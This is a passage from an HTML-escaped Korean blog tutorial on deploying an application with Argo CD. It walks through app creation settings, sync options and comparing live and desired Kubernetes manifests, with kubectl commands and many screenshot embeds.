&lt;li&gt;로그인 후 User info &amp;rarr; UPDATE PASSWORD 변경 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 8.41.33.png&quot; data-origin-width=&quot;2714&quot; data-origin-height=&quot;1076&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dmPEEx/btsGGeQJfsE/anUdqm42iiRPwb4KGWnU9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dmPEEx/btsGGeQJfsE/anUdqm42iiRPwb4KGWnU9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dmPEEx/btsGGeQJfsE/anUdqm42iiRPwb4KGWnU9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdmPEEx%2FbtsGGeQJfsE%2FanUdqm42iiRPwb4KGWnU9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2714&quot; height=&quot;1076&quot; data-filename=&quot;스크린샷 2024-04-16 오후 8.41.33.png&quot; data-origin-width=&quot;2714&quot; data-origin-height=&quot;1076&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;App 배포 with &lt;span data-token-index=&quot;1&quot;&gt;Directory&lt;/span&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;1&quot;&gt;App 생성 : [+ New App] 클릭&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Application Name : &lt;b&gt;first-myweb&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Project Name : &lt;b&gt;default&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;SYNC POLICY : &lt;b&gt;Manual&amp;nbsp;&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;[설정] AUTO-CREATE NAMESPACE : 클러스터에 네임스페이스가 없을 시 argocd에 입력한 이름으로 자동 생성&lt;/li&gt;
&lt;li&gt;APPLY OUT OF SYNC ONLY : 현재 동기화 상태가 아닌 리소스만 배포&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PRUNE PROPAGATION POLICY
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;foreground&lt;/b&gt; : 부모(소유자, ex. deployment) 자원을 먼저 삭제함&lt;/li&gt;
&lt;li&gt;background : 자식(종속자, ex. pod) 자원을 먼저 삭제함&lt;/li&gt;
&lt;li&gt;orphan : 고아(소유자는 삭제됐지만, 종속자가 삭제되지 않은 경우) 자원을 삭제함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SOURCE
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Repository URL : https://github.com/imxsuu/aews-cicd.git&lt;/li&gt;
&lt;li&gt;Revision : &lt;b&gt;main&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Path : &lt;b&gt;3/deploy&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;DESTINATION&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Cluster URL : https://kubernetes.default.svc&lt;/li&gt;
&lt;li&gt;Namespace : &lt;b&gt;first&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;[선택] Directory &amp;larr; SOURCE 입력값을 보고 자동으로 유형이 선택됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;화면 상단 [CREATE] 클릭&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.17.40.png&quot; data-origin-width=&quot;2134&quot; data-origin-height=&quot;1634&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kQN1z/btsGE5mz8yr/VZyA2EIzgb2s4XpjVZ1I71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kQN1z/btsGE5mz8yr/VZyA2EIzgb2s4XpjVZ1I71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kQN1z/btsGE5mz8yr/VZyA2EIzgb2s4XpjVZ1I71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkQN1z%2FbtsGE5mz8yr%2FVZyA2EIzgb2s4XpjVZ1I71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2134&quot; height=&quot;1634&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.17.40.png&quot; data-origin-width=&quot;2134&quot; data-origin-height=&quot;1634&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.19.31.png&quot; data-origin-width=&quot;2102&quot; data-origin-height=&quot;1608&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mrHxT/btsGGZZYYpj/k0jJFU9sKbdb1Sqq76AKDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mrHxT/btsGGZZYYpj/k0jJFU9sKbdb1Sqq76AKDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mrHxT/btsGGZZYYpj/k0jJFU9sKbdb1Sqq76AKDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmrHxT%2FbtsGGZZYYpj%2Fk0jJFU9sKbdb1Sqq76AKDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2102&quot; height=&quot;1608&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.19.31.png&quot; data-origin-width=&quot;2102&quot; data-origin-height=&quot;1608&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.25.20.png&quot; data-origin-width=&quot;2248&quot; data-origin-height=&quot;1028&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kBcVF/btsGEjZSWwz/GNv1GjADhHRhoKnkAO27uK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kBcVF/btsGEjZSWwz/GNv1GjADhHRhoKnkAO27uK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kBcVF/btsGEjZSWwz/GNv1GjADhHRhoKnkAO27uK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkBcVF%2FbtsGEjZSWwz%2FGNv1GjADhHRhoKnkAO27uK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2248&quot; height=&quot;1028&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.25.20.png&quot; data-origin-width=&quot;2248&quot; data-origin-height=&quot;1028&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.27.04.png&quot; data-origin-width=&quot;2052&quot; data-origin-height=&quot;1914&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4SZdA/btsGGORQLEC/TTRyEhhtBULF3AK7K2SP9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4SZdA/btsGGORQLEC/TTRyEhhtBULF3AK7K2SP9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4SZdA/btsGGORQLEC/TTRyEhhtBULF3AK7K2SP9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4SZdA%2FbtsGGORQLEC%2FTTRyEhhtBULF3AK7K2SP9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2052&quot; height=&quot;1914&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.27.04.png&quot; data-origin-width=&quot;2052&quot; data-origin-height=&quot;1914&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;배포하기 - [SYNC] 클릭 &amp;gt; [SYNCHRONIZE] 클릭&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PRUNE : GIT에서 자원 삭제 후 배포시 k8s에서는 삭제되지 않으나, 해당 옵션을 선택하면 삭제시킵니다.&lt;/li&gt;
&lt;li&gt;FORCE : --force 옵션으로 리소스를 삭제합니다.&lt;/li&gt;
&lt;li&gt;APPLY ONLY : ArgoCD의 Pre/Post Hook은 사용하지 않고 리소스만 배포합니다.&lt;/li&gt;
&lt;li&gt;DRY RUN : 테스트 배포 (배포에 에러가 있는지 확인할 때 사용합니다.)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713270714276&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 모니터링
kubectl get deploy,svc -n first --show-labels
watch -d kubectl get deploy -n first --show-labels&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.33.55.png&quot; data-origin-width=&quot;2234&quot; data-origin-height=&quot;1466&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2N702/btsGGPXvh6o/C8qiT6RRpUdtPKlKoBXTsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2N702/btsGGPXvh6o/C8qiT6RRpUdtPKlKoBXTsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2N702/btsGGPXvh6o/C8qiT6RRpUdtPKlKoBXTsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2N702%2FbtsGGPXvh6o%2FC8qiT6RRpUdtPKlKoBXTsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2234&quot; height=&quot;1466&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.33.55.png&quot; data-origin-width=&quot;2234&quot; data-origin-height=&quot;1466&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.34.24.png&quot; data-origin-width=&quot;1352&quot; data-origin-height=&quot;148&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cV8rP5/btsGHEub6ib/EqMnfKpULdkAJvTkArcEK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cV8rP5/btsGHEub6ib/EqMnfKpULdkAJvTkArcEK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cV8rP5/btsGHEub6ib/EqMnfKpULdkAJvTkArcEK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcV8rP5%2FbtsGHEub6ib%2FEqMnfKpULdkAJvTkArcEK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1352&quot; height=&quot;148&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.34.24.png&quot; data-origin-width=&quot;1352&quot; data-origin-height=&quot;148&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;리소스 클릭 후 확인 :&amp;nbsp; LIVE MANIFEST(k8s 정보) vs DESIRED MANIFEST(Git 정보)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Deployment의 LIVE MANIFEST 직접 수정 해보기 : EDIT 클릭 후 lables 아래 add: label-test 추가 &amp;rarr; SAVE&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.38.41.png&quot; data-origin-width=&quot;2084&quot; data-origin-height=&quot;1914&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6MTTN/btsGGO5mceR/qHpFFNNboZe9ftjAI5j0jK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6MTTN/btsGGO5mceR/qHpFFNNboZe9ftjAI5j0jK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6MTTN/btsGGO5mceR/qHpFFNNboZe9ftjAI5j0jK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6MTTN%2FbtsGGO5mceR%2FqHpFFNNboZe9ftjAI5j0jK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2084&quot; height=&quot;1914&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.38.41.png&quot; data-origin-width=&quot;2084&quot; data-origin-height=&quot;1914&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.36.45.png&quot; data-origin-width=&quot;1606&quot; data-origin-height=&quot;154&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HAWxM/btsGGkQQ812/1Xf6bdwDLTzQpVCgyIf5g0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HAWxM/btsGGkQQ812/1Xf6bdwDLTzQpVCgyIf5g0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HAWxM/btsGGkQQ812/1Xf6bdwDLTzQpVCgyIf5g0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHAWxM%2FbtsGGkQQ812%2F1Xf6bdwDLTzQpVCgyIf5g0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1606&quot; height=&quot;154&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.36.45.png&quot; data-origin-width=&quot;1606&quot; data-origin-height=&quot;154&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;k8s에서 직접 수정 &amp;rarr; argocd 싱크(반영) 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713271212211&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 아래 추가
kubectl edit deploy -n first myweb
...
  labels:
    add: label-test
    add2: k8s-test
...&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.41.35.png&quot; data-origin-width=&quot;1372&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S9MQZ/btsGGPXvv2N/C6Jc4H0ZOHG3RTmYZrK2xk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S9MQZ/btsGGPXvv2N/C6Jc4H0ZOHG3RTmYZrK2xk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S9MQZ/btsGGPXvv2N/C6Jc4H0ZOHG3RTmYZrK2xk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS9MQZ%2FbtsGGPXvv2N%2FC6Jc4H0ZOHG3RTmYZrK2xk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1372&quot; height=&quot;650&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.41.35.png&quot; data-origin-width=&quot;1372&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.40.54.png&quot; data-origin-width=&quot;2122&quot; data-origin-height=&quot;1916&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzXrzI/btsGHdwWgeq/6YQqSzK3ANm2DhT6LqCGTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzXrzI/btsGHdwWgeq/6YQqSzK3ANm2DhT6LqCGTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzXrzI/btsGHdwWgeq/6YQqSzK3ANm2DhT6LqCGTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzXrzI%2FbtsGHdwWgeq%2F6YQqSzK3ANm2DhT6LqCGTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2122&quot; height=&quot;1916&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.40.54.png&quot; data-origin-width=&quot;2122&quot; data-origin-height=&quot;1916&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DIFF 클릭 확인 : 차이를 알아채지 못합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.42.59.png&quot; data-origin-width=&quot;2098&quot; data-origin-height=&quot;1456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/v2MlY/btsGHGZO0ti/6qRKO2CiU4vd6IJ2acacWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/v2MlY/btsGHGZO0ti/6qRKO2CiU4vd6IJ2acacWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/v2MlY/btsGHGZO0ti/6qRKO2CiU4vd6IJ2acacWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fv2MlY%2FbtsGHGZO0ti%2F6qRKO2CiU4vd6IJ2acacWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2098&quot; height=&quot;1456&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.42.59.png&quot; data-origin-width=&quot;2098&quot; data-origin-height=&quot;1456&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DESIRED MANIFEST 확인 : LIVE MANIFEST에서 추가한 Label이 업데이트되지 않았습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.44.44.png&quot; data-origin-width=&quot;2084&quot; data-origin-height=&quot;1900&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dY3noB/btsGFFVfbTp/YKrdvvD8C3eG0m4Jhd6fR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dY3noB/btsGFFVfbTp/YKrdvvD8C3eG0m4Jhd6fR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dY3noB/btsGFFVfbTp/YKrdvvD8C3eG0m4Jhd6fR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdY3noB%2FbtsGFFVfbTp%2FYKrdvvD8C3eG0m4Jhd6fR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2084&quot; height=&quot;1900&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.44.44.png&quot; data-origin-width=&quot;2084&quot; data-origin-height=&quot;1900&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Git Repo에서 값 변경 후 &amp;rarr; Commit 후 DIFF 확인 : 3분 간격, 바로 확인 원할 시 REFRESH 클릭
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;Git이 기준이기 때문에 LIVE MANIFEST(k8s)형상이 뒤떨어진 것으로 볼 수 있습니다. &amp;rarr; OutOfSync 상태이니 Sync 합니다.&lt;/li&gt;
&lt;li&gt;GitOps를 따르기 위해 k8s에서 변경한 값은 반영하지 않습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.46.52.png&quot; data-origin-width=&quot;2054&quot; data-origin-height=&quot;1110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdd0pa/btsGG6EF4cv/aXatp2K844kTtRH46zYao1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdd0pa/btsGG6EF4cv/aXatp2K844kTtRH46zYao1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdd0pa/btsGG6EF4cv/aXatp2K844kTtRH46zYao1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbdd0pa%2FbtsGG6EF4cv%2FaXatp2K844kTtRH46zYao1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2054&quot; height=&quot;1110&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.46.52.png&quot; data-origin-width=&quot;2054&quot; data-origin-height=&quot;1110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.48.20.png&quot; data-origin-width=&quot;2064&quot; data-origin-height=&quot;1682&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdfnsp/btsGEsI4QWF/i7GMOp8MAqQvOw8Mao1GK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdfnsp/btsGEsI4QWF/i7GMOp8MAqQvOw8Mao1GK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdfnsp/btsGEsI4QWF/i7GMOp8MAqQvOw8Mao1GK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbdfnsp%2FbtsGEsI4QWF%2Fi7GMOp8MAqQvOw8Mao1GK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2064&quot; height=&quot;1682&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.48.20.png&quot; data-origin-width=&quot;2064&quot; data-origin-height=&quot;1682&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.50.48.png&quot; data-origin-width=&quot;2030&quot; data-origin-height=&quot;154&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dlqkgC/btsGE5mAMdy/QpY6kkVz4CvGZc2HxwVQf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dlqkgC/btsGE5mAMdy/QpY6kkVz4CvGZc2HxwVQf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dlqkgC/btsGE5mAMdy/QpY6kkVz4CvGZc2HxwVQf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdlqkgC%2FbtsGE5mAMdy%2FQpY6kkVz4CvGZc2HxwVQf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 